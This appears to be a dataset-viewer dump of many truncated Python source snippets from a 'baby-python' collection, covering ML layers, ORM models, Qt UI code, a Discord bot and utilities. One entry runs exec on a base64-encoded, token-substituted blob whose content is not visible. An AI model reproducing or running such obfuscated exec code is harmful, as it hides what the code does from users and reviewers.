content
stringlengths
0
1.05M
origin
stringclasses
2 values
type
stringclasses
2 values
import logging from typing import TYPE_CHECKING, Optional import numpy as np from .base import BaseCallback if TYPE_CHECKING: from ..base import BaseTuner class EarlyStopping(BaseCallback): """ Callback to stop training when a monitored metric has stopped improving. A `model.fit()` training loop wi...
nilq/baby-python
python
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'C:/Users/Zeke/Google Drive/dev/python/zeex/zeex/core/ui/actions/import.ui' # # Created: Mon Nov 13 22:57:16 2017 # by: pyside-uic 0.2.15 running on PySide 1.2.2 # # WARNING! All changes made in this file will be lost! from PySide impor...
nilq/baby-python
python
import os from pony import orm from datetime import datetime db = orm.Database() class LogEntry(db.Entity): client_ip = orm.Required(str) client_port = orm.Required(int) raw_accept_date = orm.Required(str) accept_date = orm.Required(datetime, 6) frontend_name = orm.Required(str) backend_name...
nilq/baby-python
python
exec("import re;import base64");exec((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("N2MgMWEsNTEsZixlLGMsNDUsYmEsMjYsMjgKZDkgOTAuZDguN2IgN2MgNWYKCjE3ICAgICAgICA9ICdiYi5jZC5iNycKMWMgICAgICAgPSA1MS41Zig5ZD0xNykKY2IgICAgICAgICAgID0gNWYoMTcsIDI4LjFiKQo2ICAgICAgICAgID0gMWEuMzEoYmEuO...
nilq/baby-python
python
from contextlib import suppress from lsst.daf.butler import DatasetRef, FileDataset, CollectionType from huntsman.drp.utils.fits import read_fits_header, parse_fits_header def dataId_to_dict(dataId): """ Parse an LSST dataId to a dictionary. Args: dataId (dataId): The LSST dataId object. Returns:...
nilq/baby-python
python
from .. import initializations from ..layers.core import MaskedLayer from .. import backend as K import numpy as np class LeakyReLU(MaskedLayer): '''Special version of a Rectified Linear Unit that allows a small gradient when the unit is not active (`f(x) = alpha*x for x < 0`). # Input shape ...
nilq/baby-python
python
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you ma...
nilq/baby-python
python
from datetime import datetime from unittest import TestCase import xml.etree.ElementTree as ET from youtube_discussion_tree_api.utils import Node from youtube_discussion_tree_api._xml import _create_argument, _create_pair, _serialize_tree import os class TestXmlTreeConstruction(TestCase): def test_create_argumen...
nilq/baby-python
python
# -*- coding: utf-8 -*- import asyncio import logging import os import sys from pathlib import Path import subprocess import numpy as np import pandas as pd import flask import dash from dash.dependencies import Input, Output, State import dash_core_components as dcc import dash_html_components as html import plotly....
nilq/baby-python
python
""" This week’s question: Implement a simple version of autocomplete, where given an input string s and a dictionary of words dict, return the word(s) in dict that partially match s (or an empty string if nothing matches). Example: let dict = ['apple', 'banana', 'cranberry', 'strawberry'] $ simpleAutocomplete('app')...
nilq/baby-python
python
import re from setuptools import setup, find_packages INIT_FILE = 'dimensigon/__init__.py' with open("README.md", "r") as fh: long_description = fh.read() def find_version(): with open(INIT_FILE) as fp: for line in fp: # __version__ = '0.1.0' match = re.search(r"__version__\...
nilq/baby-python
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ app.modules.logs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 日志模块 """ from flask_smorest import Blueprint blp = Blueprint("Log", __name__, url_prefix="/logs", description="日志模块")
nilq/baby-python
python
import pytest import numpy as np from whatlies.language import SpacyLanguage from whatlies.transformers import Pca words = [ "prince", "princess", "nurse", "doctor", "banker", "man", "woman", "cousin", "neice", "king", "queen", "dude", "guy", "gal", "fire"...
nilq/baby-python
python
import functools import numpy as np import psyneulink as pnl import psyneulink.core.components.functions.transferfunctions input_layer = pnl.TransferMechanism( size=3, name='Input Layer' ) action_selection = pnl.TransferMechanism( size=3, function=psyneulink.core.components.functions.transferf...
nilq/baby-python
python
""" This class provides functionality for managing a generig sqlite or mysql database: * reading specific fields (with the possibility to filter by field values) * storing calculated values in the dataset Created on May 11 2018 @author: Jerónimo Arenas García """ from __future__ import print_function # For pyth...
nilq/baby-python
python
"""Jurisdictions are a small complete list. Thus they can be operated from a dictionary. Still, persisted in DB for query consitency. Thus maintaining both synchronised and using at convenience.""" from db import Session from db import Jurisdiction from .lazyinit import _cached_jurisdictions from .api_wikipedia impor...
nilq/baby-python
python
#!/usr/bin/env python3 # Utility functions. import sys import os import re # Prints passed objects to stderr. def warning(*objs): print("WARNING: ", *objs, file=sys.stderr) # Converts passed string by uppercasing first letter. firstLetterToUppercase = lambda s: s[:1].upper() + s[1:] if s else '' # Converts passe...
nilq/baby-python
python
# Generated by Django 2.1.1 on 2018-09-18 12:24 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Products', fields=[ ('id', models.AutoField...
nilq/baby-python
python
import math import numpy as np from mlpy.numberGenerator.bounds import Bounds from experiments.problems.functions.structure.function import Function class Elliptic(Function): def function(self, x): return np.sum(np.power(np.power(10., 6 ), np.divide(np.arange(len(x)), np.subtract(x, 1.)))) def getBo...
nilq/baby-python
python
""" Created by Constantin Philippenko, 18th January 2022. """ import matplotlib matplotlib.rcParams.update({ "pgf.texsystem": "pdflatex", 'font.family': 'serif', 'text.usetex': True, 'pgf.rcfonts': False, 'text.latex.preamble': r'\usepackage{amsfonts}' }) import hashlib import os import sys import...
nilq/baby-python
python
x = 10.4 y = 3.5 x -= y print x
nilq/baby-python
python
# Generated by Django 3.1.7 on 2021-03-15 22:30 from django.db import migrations, models import django.db.models.deletion import manager.storage import projects.models.sources class Migration(migrations.Migration): dependencies = [ ('socialaccount', '0003_extra_data_default_dict'), ('projects', ...
nilq/baby-python
python
import tensorflow as tf from tensorflow.keras import Sequential from tensorflow.keras.layers import Conv2D, MaxPool2D, Dense, Flatten, Dropout from tensorflow.keras.preprocessing.image import ImageDataGenerator from sklearn.utils import class_weight import numpy as np tf.keras.backend.set_floatx('float64') drop = ...
nilq/baby-python
python
import requests import re import json import os import copy class JsonProcessorFile(object): """Generate a dict of processing options that exist in a dictionary of dictionaries. Allow renaming of the fields. The results of this class is used to flatten out a JSON into CSV style. For example the following...
nilq/baby-python
python
# Copyright (c) 2020 Graphcore Ltd. All rights reserved. import numpy as np import popart import torch import pytest import torch.nn.functional as F from op_tester import op_tester # `import test_util` requires adding to sys.path import sys from pathlib import Path sys.path.append(Path(__file__).resolve().parent.paren...
nilq/baby-python
python
import argparse import matplotlib.pyplot as plt import numpy as np import pandas as pd import seaborn as sns import torch from pytorch_lightning import seed_everything from sklearn.decomposition import PCA from sggm.data.uci_boston.datamodule import ( UCIBostonDataModule, UCIBostonDataModuleShifted, ) from sgg...
nilq/baby-python
python
import PySimpleGUI as sg from NetLogoDOE.src.gui.custom_components import title, question_mark_button from NetLogoDOE.src.gui.custom_windows import show_help_window from NetLogoDOE.src.gui.help_dictionary import help_text class StandardResultsScreen: def __init__(self): button_size = (30, 1) but...
nilq/baby-python
python
from models.gru_net import GRUNet from models.res_gru_net import ResidualGRUNet from models.multi_res_gru_net import MultiResidualGRUNet from models.multi_seres_gru_net import MultiSEResidualGRUNet from models.multi_res2d3d_gru_net import MultiResidual2D3DGRUNet from models.multi_seres2d3d_gru_net import MultiSEResidua...
nilq/baby-python
python
# programa que solicita uma temperatura em graus Farenheit e converte para graus Celsius # solicita a temperatura em graus Farenheit temperatura_farenheit = float(input("Informe a temperatura em graus Farenheit: ")) # Converte a temperatura de Farenheit para Celsius temperatura_celsius = (5 * (temperatura_farenheit - ...
nilq/baby-python
python
import math import discord import mail import os client = discord.Client() env = os.environ DISCORD_TOKEN = env.get("DISCORD_TOKEN") CHANS = env.get("DISCORD_CHANS") if CHANS: CHANS = list(map(lambda x: int(x), CHANS.split(","))) else: CHANS = [] @client.event async def on_ready(): print("Logged in") @client....
nilq/baby-python
python
# # This file is part of Python Client Library for STAC. # Copyright (C) 2019 INPE. # # Python Client Library for STAC is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. # """Utility data structures and algorithms.""" import json import p...
nilq/baby-python
python
import random import re from abc import ABC, abstractmethod from datetime import datetime from pathlib import Path from typing import Dict, List from itertools import groupby, chain import pandas as pd from models import ListNews, News, Cluster from sqlalchemy.orm import Session from utils import convert_str_to_date ...
nilq/baby-python
python
import sys import io from arc import color, CLI def test_colorize(): colored = color.colorize("test", color.fg.RED) assert colored.startswith(str(color.fg.RED)) assert colored.endswith(str(color.effects.CLEAR)) colored = color.colorize("test", color.fg.RED, clear=False) assert colored.startswith(...
nilq/baby-python
python
# Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
nilq/baby-python
python
import numpy as np import lmdb import caffe N = 1000 # Test Data X = np.zeros((N, 3, 32, 32), dtype=np.uint8) y = np.zeros(N, dtype=np.int64) # We need to prepare the database for the size. We'll set it 10 times # greater than what we theoretically need. There is little drawback to # setting this too big. If you sti...
nilq/baby-python
python
import sys from glob import glob from os.path import join, dirname from kivy.uix.scatter import Scatter from kivy.app import App from kivy.graphics.svg import Svg from kivy.core.window import Window from kivy.uix.floatlayout import FloatLayout from kivy.lang import Builder Builder.load_string(""" <SvgWidget>: do_r...
nilq/baby-python
python
from decimal import Decimal from django.contrib.auth.models import AbstractUser from django.db import models from django.db.models import Sum class CustomUser(AbstractUser): """ Clase que modela un usuario del sistema. Atributos: avatar: avatar que identifica al usuario. (String) cash: dinero l...
nilq/baby-python
python
# AUTOGENERATED BY NBDEV! DO NOT EDIT! __all__ = ["index", "modules", "custom_doc_links", "git_url"] index = {"USE_64": "01_Pairwise_Distance.ipynb", "gpu_dist_matrix": "01_Pairwise_Distance.ipynb", "component_mixture_dist_matrix": "01_Pairwise_Distance.ipynb", "makeCurvesFromDistanceMatrix...
nilq/baby-python
python
import pytest from app.models import Expense, User from app.models import expense pytestmark = pytest.mark.nologin def headers(tok): return {'Authorization': f'Bearer {tok}'} def test_get_expenses(db_with_expenses, token, client): resp = client.get('/api/expenses?page=1&page_size=10', ...
nilq/baby-python
python
import os from oraculo.gods import faveo, faveo_db, exceptions from . import entitys, base from .exceptions import ( DoesNotExist, NotSetHelpDeskUserInstance, NotIsInstance) class Prioritys(object): _url = 'api/v1/helpdesk/priority' _entity = entitys.Priority objects = base.BaseManageEntity(_url, ...
nilq/baby-python
python
import re import time import io import sys import argparse from collections import defaultdict # parse/validate arguments argParser = argparse.ArgumentParser() argParser.add_argument("-d", "--delimiter", type=str, default='\t', help="delimiter defaults to \t") argParser.add_argument("-1", "--firstFilename", type=str) ...
nilq/baby-python
python
""" File name: predict_full_brain.py Author: Jana Rieger Date created: 03/12/2018 This is the main script for predicting a segmentation of an input MRA image. Segmentations can be predicted for multiple models eather on rough grid (the parameters are then read out from the Unet/models/tuned_params.cvs file) or on fine...
nilq/baby-python
python
import lumos.numpy.casadi_numpy as np import pytest def test_basic_logicals_numpy(): a = np.array([True, True, False, False]) b = np.array([True, False, True, False]) assert np.all(a & b == np.array([True, False, False, False])) if __name__ == "__main__": pytest.main()
nilq/baby-python
python
import asyncio from string import capwords import DiscordUtils import discord from discord.ext.commands import Context from embeds import error_embed, success_embed, infoCheckEmbed from settings import BOT_TOKEN, prefix, description, verified_role_id from settings import verification_channel_id from database import e...
nilq/baby-python
python
class DataIntegrityException(Exception): pass class AuthenticationException(Exception): pass class UnauthorizedException(Exception): pass
nilq/baby-python
python
"""Module for defining primitives and primitve categories """ from collections import defaultdict from enum import Enum import json import pprint import pkgutil class Primitive(object): """A primitive""" def __init__(self): self.name = '' self.task = '' self.learning_type = '' ...
nilq/baby-python
python
from django.db.models import Q from rest_framework.filters import (OrderingFilter, SearchFilter) from rest_framework.generics import (ListAPIView, RetrieveAPIView) from posts.models import Comment from posts.api.permissions import IsOwnerOrReadOnly from posts.api.pagination import P...
nilq/baby-python
python
from tkinter import * from tkinter import ttk from tkinter import messagebox my_window = Tk() my_window.title("our final project/help") my_window.geometry("1366x768") my_window.resizable(1, 1) my_window.configure(bg="grey") L1 = Label(my_window, text="ENQUIRY MANAGEMENT SYSTEM", bg="lavender", fg="blue", font...
nilq/baby-python
python
import os import shutil import sys import time import unittest from sitetree import * class TestCopyFuncs(unittest.TestCase): def setUp(self): unittest.TestCase.setUp(self) os.makedirs('testdata/test_sitetree/src/nested') with open('testdata/test_sitetree/src/nested/fileA.txt', "w") as ...
nilq/baby-python
python
# copyright 1999 McMillan Enterprises, Inc. # license: use as you please. No warranty. # # A subclass of Archive that can be understood # by a C program. See uplaunch.cpp for unpacking # from C. import archive import struct import zlib import strop class CTOC: """A class encapsulating the table of contents of a CA...
nilq/baby-python
python
from django.contrib import admin from .models import Organization, Metadata admin.site.register(Organization) admin.site.register(Metadata)
nilq/baby-python
python
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
nilq/baby-python
python
# __init__.py # # Copyright(c) Exequiel Ceasar Navarrete <exequiel.navarrete09gmail.com> # Licensed under MIT # Version 1.0.0-alpha2 from compiler.tokenizer import Tokenizer from compiler.parser import Parser from compiler.transformer import Transformer from compiler.code_generator import CodeGenerator class Compiler...
nilq/baby-python
python
from testtube.helpers import Frosted, Nosetests, Pep257, Flake8 PATTERNS = ( # Run pep257 check against a file if it changes, excluding files that have # test_ or tube.py in the name. # If this test fails, don't make any noise (0 bells on failure) ( r'((?!test_)(?!tube\.py).)*\.py$', [P...
nilq/baby-python
python
# Automatically generated by pb2py # fmt: off from .. import protobuf as p if __debug__: try: from typing import Dict, List # noqa: F401 from typing_extensions import Literal # noqa: F401 except ImportError: pass class MoneroSubAddressIndicesList(p.MessageType): def __init__( ...
nilq/baby-python
python
def power_set(s): return power_set_util(list(s), 0) def power_set_util(s, index): if index == len(s): all_subsets = [set()] else: all_subsets = power_set_util(s, index + 1) new_subsets = [] for subset in all_subsets: concat = set(subset) conca...
nilq/baby-python
python
name = "mtgtools"
nilq/baby-python
python
import os import re import setuptools with open("README.MD", "r") as fh: long_description = fh.read() def find_version(fnam, version="VERSION"): with open(fnam) as f: cont = f.read() regex = f'{version}\s*=\s*["]([^"]+)["]' match = re.search(regex, cont) if match is None: raise Ex...
nilq/baby-python
python
#Crie um programa que leia uma frase qualquer # e dia se ela é um palindromo; desconsiderando os espaços # Ex. apos a sopa ; a sacada da casa, a torre da derrota frase = str(input("Digite uma frase: ")).strip().upper() palavras = frase.split() junto = ''.join(palavras) inverso = '' for letra in range(len(junto) -1, -...
nilq/baby-python
python
class Agent: def __init__(self, screen_resolution): self.resolution = screen_resolution self.fitness = 0 self.dead = False self.screen = None self.y = screen_resolution[1]//2 self.rect = ((10, self.y), (self.resolution[0]//20, self.resolution[0]//25)) self.vve...
nilq/baby-python
python
from lstm_model import LstmModel import numpy as np from trajectory import Trajectory, generate_trajectory, generate_trajectories, stochastic_policy_adapter from solver import value_iteration, stochastic_policy_from_value_expectation from snake_ladder import SnakeLadderWorld from supervised_utils import trajectory_list...
nilq/baby-python
python
from .legion_tools import * from .hamiltonian_gen import * from collections import OrderedDict def mf_calc(base_params): fd = base_params.fd fd_array = np.linspace(10.44, 10.5, 2001) fd_array = np.hstack([fd_array, fd]) fd_array = np.unique(np.sort(fd_array)) mf_amplitude_frame = mf_characterise(b...
nilq/baby-python
python
#!/bin/python def sortSelection(A, k): """ Selects the @k-th smallest number from @A in O(nlogn) time by sorting and returning A[k] Note that indexing begins at 0, so call sortSelection(A, 0) to get the smallest number in the list, call sortselection(A, len(A) / 2) to get the median number...
nilq/baby-python
python
#!/usr/bin/python3 import sys import os import re import shutil optimize = 3 link_time_optimize = 3 sources = [ 'audio/audio.c', 'audio/source.c', 'audio/staticsource.c', 'audio/wav_decoder.c', 'audio/vorbis_decoder.c', 'filesystem/filesystem.c', 'graphics/batch.c', 'graphics/font.c', 'graphics/gra...
nilq/baby-python
python
import unittest from board import Board class BoardTests(unittest.TestCase): def setUp(self): self.b = Board() return super().setUp() def test_initial_board(self): expected = [['.', '.', '.'], ['.', '.', '.'], ['.', '.', '.']] self.assertEqual(self.b.board, expected) def...
nilq/baby-python
python
import os from bot import app_vars def clean_file_name(file_name: str) -> str: for char in ["\\", "/", "%", "*", "?", ":", '"', "|"] + [ chr(i) for i in range(1, 32) ]: file_name = file_name.replace(char, "_") file_name = file_name.strip() return file_name def get_abs_path(file_name...
nilq/baby-python
python
import copy import six from .error import SchemaError, Error, Invalid class Schema(object): """ A schema that validates data given to it using the specified rules. The ``schema`` must be a dictionary of key-value mappings. Values must be callable validators. See ``XX``. The ``entire`` argument...
nilq/baby-python
python
#!/usr/bin/env python # # Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import optparse import os import shutil import re import sys import textwrap from util import build_utils import jar sys.path.appe...
nilq/baby-python
python
import gym import torch import numpy as np import seaborn as sns from hips.plotting.colormaps import gradient_cmap import matplotlib.pyplot as plt import os from tikzplotlib import save from sds_numpy import rARHMM from sds_torch.rarhmm import rARHMM from lax.a2c_lax import learn device = torch.device("cuda:0" if tor...
nilq/baby-python
python
import requests from bs4 import BeautifulSoup as bs import time from time import sleep import os import sys import xlsxwriter from random import randint import pyautogui import pickle from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.chrome.options i...
nilq/baby-python
python
import unittest from rover import control class ControlTest(unittest.TestCase): def test_example(self): input = """5 5 1 2 N LMLMLMLMM 3 3 E MMRMMRMRRM""" expected = """1 3 N 5 1 E""" actual = control.launch_mission(input) self.assertEqual(actual, expected) def test_simple...
nilq/baby-python
python
class Property: def __init__(self, name='', value=''): self.name = name self.value = value
nilq/baby-python
python
from pypy.module.cpyext.test.test_api import BaseApiTest class TestIterator(BaseApiTest): def test_check_iter(self, space, api): assert api.PyIter_Check(space.iter(space.wrap("a"))) assert api.PyIter_Check(space.iter(space.newlist([]))) assert not api.PyIter_Check(space.w_type) ass...
nilq/baby-python
python
import os from jarjar import jarjar def writetofile(f, **kwargs): """write kwargs to a file""" s = '' for k, v in kwargs.items(): s += '%s=\'%s\'\n' % (k, v) with open(f, 'w') as fh: fh.write(s) jj = jarjar() print('-- vanilla') print('channel', jj.default_channel) print('message', ...
nilq/baby-python
python
from enum import Enum from services.proto import database_pb2 from services.proto import follows_pb2 class GetFollowsReceiver: def __init__(self, logger, util, users_util, database_stub): self._logger = logger self._util = util self._users_util = users_util self._database_stub = ...
nilq/baby-python
python
from des import des from code import apsDB apscursor = apsDB.cursor() insert = "INSERT INTO aps.aps_table (login, senha) VALUES (%s, %s)" if __name__ == '__main__': inputkey = open("key.txt", 'r') key = inputkey.read() user = input("Digite seu usuário: ") textin= input("Digite sua me...
nilq/baby-python
python
# -------------- import numpy as np import pandas as pd from sklearn.model_selection import train_test_split # path- variable storing file path #Code starts here df=pd.read_csv(path) #displaying 1st five columns print(df.head(5)) print(df.columns[:5]) #distributing features X=df.drop('Price',axis=1) ...
nilq/baby-python
python
""" CS 156a: Final Exam Anthony Bartolotta Problems 13,14,15,16,17,18 """ import numpy as np import sklearn.svm as svm def pseudoInverse(X): # Calculate pseudo-inverse tempM = np.linalg.inv(np.dot(np.transpose(X), X)) xPseudo = np.dot(tempM, np.transpose(X)) return xPseudo def generateData(nSamples)...
nilq/baby-python
python
"""get quadratures Calculate the times of quadrature for a series of objects with given ephemerides between two nights in a given observatory Input file must be: name ra(deg) dec(deg) epoch period The output will be: A per target list containing the times of quadratures """ import argparse from datetime impor...
nilq/baby-python
python
import os from googlecloudsdk.core.updater import local_state class Error(Exception): """Exceptions for the endpoints_util module.""" class ScriptNotFoundError(Error): """An error when the parser in appcfg fails to parse the values we pass.""" def __init__(self, error_str): super(ScriptNotFoundError, ...
nilq/baby-python
python
#!/usr/bin/env python3 """ Find new papers in XML tarball files and parse them. """ import csv import multiprocessing as mp import os import pickle import tarfile from collections import Counter from pathlib import Path import lxml.etree as ET import numpy as np import pandas as pd import spacy from utils import se...
nilq/baby-python
python
#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : account.py @Time : 2021/05/11 @Author : levonwoo @Version : 0.1 @Contact : @License : (C)Copyright 2020-2021 @Desc : 账户模块 ''' # here put the import lib import uuid from QuadQuanta.portfolio.position import Position from QuadQuanta.da...
nilq/baby-python
python
API_KEY="" API_SEC="" API_PHR=""
nilq/baby-python
python
class PycamBaseException(Exception): pass class AbortOperationException(PycamBaseException): pass class CommunicationError(PycamBaseException): pass class InitializationError(PycamBaseException): pass class InvalidDataError(PycamBaseException): pass class MissingAttributeError(InvalidDataE...
nilq/baby-python
python
# -*- coding: utf-8 -*- # -*- coding: utf8 -*- """Autogenerated file - DO NOT EDIT If you spot a bug, please report it on the mailing list and/or change the generator.""" from nipype.interfaces.base import CommandLine, CommandLineInputSpec, SEMLikeCommandLine, TraitedSpec, File, Directory, traits, isdefined, InputMult...
nilq/baby-python
python
import os import numpy as np if os.environ.get("PYQUANT_DEV", False) == "True": try: import pyximport pyximport.install( setup_args={"include_dirs": np.get_include()}, reload_support=True ) except Exception as e: import traceback traceback.print_exc() ...
nilq/baby-python
python
#coding:utf-8 import tkinter from tkinter import ttk from Icon import ICON from PIL import Image, ImageTk import queue import cv2 import numpy as np import sys import platform OS = platform.system() if OS == 'Windows': import ctypes def DisplayWorker(frame_shared, camera_width, camera_height, measure_params): ...
nilq/baby-python
python
def oper(op, a, b): op = str(op) a = float(a) b = float(b) if op == "*": return a * b elif op == "/": return a / b elif op == "+": return a + b elif op == "-": return a - b elif op == "%": return a % b elif op == "^": return a**b ope...
nilq/baby-python
python
""" Given an integer n, return the first n-line Yang Hui triangle. Example 1: Input : n = 4 Output : [ [1] [1,1] [1,2,1] [1,3,3,1] ] Solution: Construct pascal triangle line by line. """ class Solution: """ @param n: a Integer @return: the first n-line Yang Hui's triangle """ def calcYan...
nilq/baby-python
python
import sys a = sys.stdin.readline() sys.stdout.write(a) sys.stderr.write(a)
nilq/baby-python
python
#!/usr/bin/python # -*- coding: UTF-8 -*- import sys from fn.core import main ROOT = "http://seriesblanco.com" URL_TREE = ROOT+"/serie/1653/rick-and-morty.html" URL = ROOT+"/serie/1653/temporada-{}/capitulo-{}/rick-and-morty.html" main(sys.argv, ROOT, URL_TREE, URL)
nilq/baby-python
python
class Partner: database = def __init__(self, name, age, likes_me): self.database.append(self) self.name = name self.age = age self.likes_me = likes_me Maria = Partner("Maria", 21, False) Florian = Partner("Florian", 116, False) Eve = Partner("Eve", 22, True) Fiona = Partner("...
nilq/baby-python
python
import os import sqlalchemy as sa from dotenv import load_dotenv load_dotenv() def connect(): user = os.environ.get("DB_USER") db_name = os.environ.get("DB_NAME") db_pass = os.environ.get("DB_PASS") db_port = os.environ.get("DB_PORT") db_host = os.environ.get("DB_HOST") # print(user, db_name,...
nilq/baby-python
python
import cv2 import numpy as np import sys path = '../resources/haarcascades/haarcascade_frontalface_default.xml' video = cv2.VideoCapture('/dev/video0') if not video.isOpened(): print('Open video device fail') sys.exit() def empty(p): pass cv2.namedWindow('Camera') cv2.createTrackbar('Scale', 'Camera', ...
nilq/baby-python
python
# vim: set fenc=utf8 ts=4 sw=4 et : import sys import xml.sax import imp from os import path from signal import signal, SIGINT from shutil import copytree, ignore_patterns from pkg_resources import resource_filename from configparser import ConfigParser from .logging import * from .conf import Conf from .plugin impor...
nilq/baby-python
python
from .CancerModel import CancerModel # , CancerModelIterator from .ExperimentalCondition import ExperimentalCondition # , ExpCondIterator from .TreatmentResponseExperiment import TreatmentResponseExperiment # , TREIterator
nilq/baby-python
python
import os import yaml import shutil from dl_playground.path import MODEL_ROOT def load_and_save_config(config_path, model_path): """Loads the config and save a copy to the model folder.""" with open(config_path) as f: config = yaml.safe_load(f) model_path = os.path.expanduser(model_path) # ...
nilq/baby-python
python
# ****************************************************************************** # This file is part of the AaMakro5oul project # (An OSC/MIDI controller for Ableton Live with DJ features) # # Full project source: https://github.com/hiramegl/AaMakro5oul # # License : Apache License 2.0 # Full license: https://githu...
nilq/baby-python
python
import sys, getopt, signal from test_threads import * from sdkcom import * from network_delegation import * # for local def add_threads_dev(threads): # Delegate, 2 threads threads.add_threads(DelegateTxLoad.dev(2)) # UnDelegate, 2 threads threads.add_threads(UnDelegateTxLoad.dev(2)) # WithdrawRew...
nilq/baby-python
python
from functions import * import subprocess import os import traceback from sys import exit if __name__ == '__main__': try: get_admin_permission() if not os.popen("powershell.exe Get-AppXPackage MicrosoftCorporationII.WindowsSubsystemForAndroid").read().strip(): input("Windows Subsystem f...
nilq/baby-python
python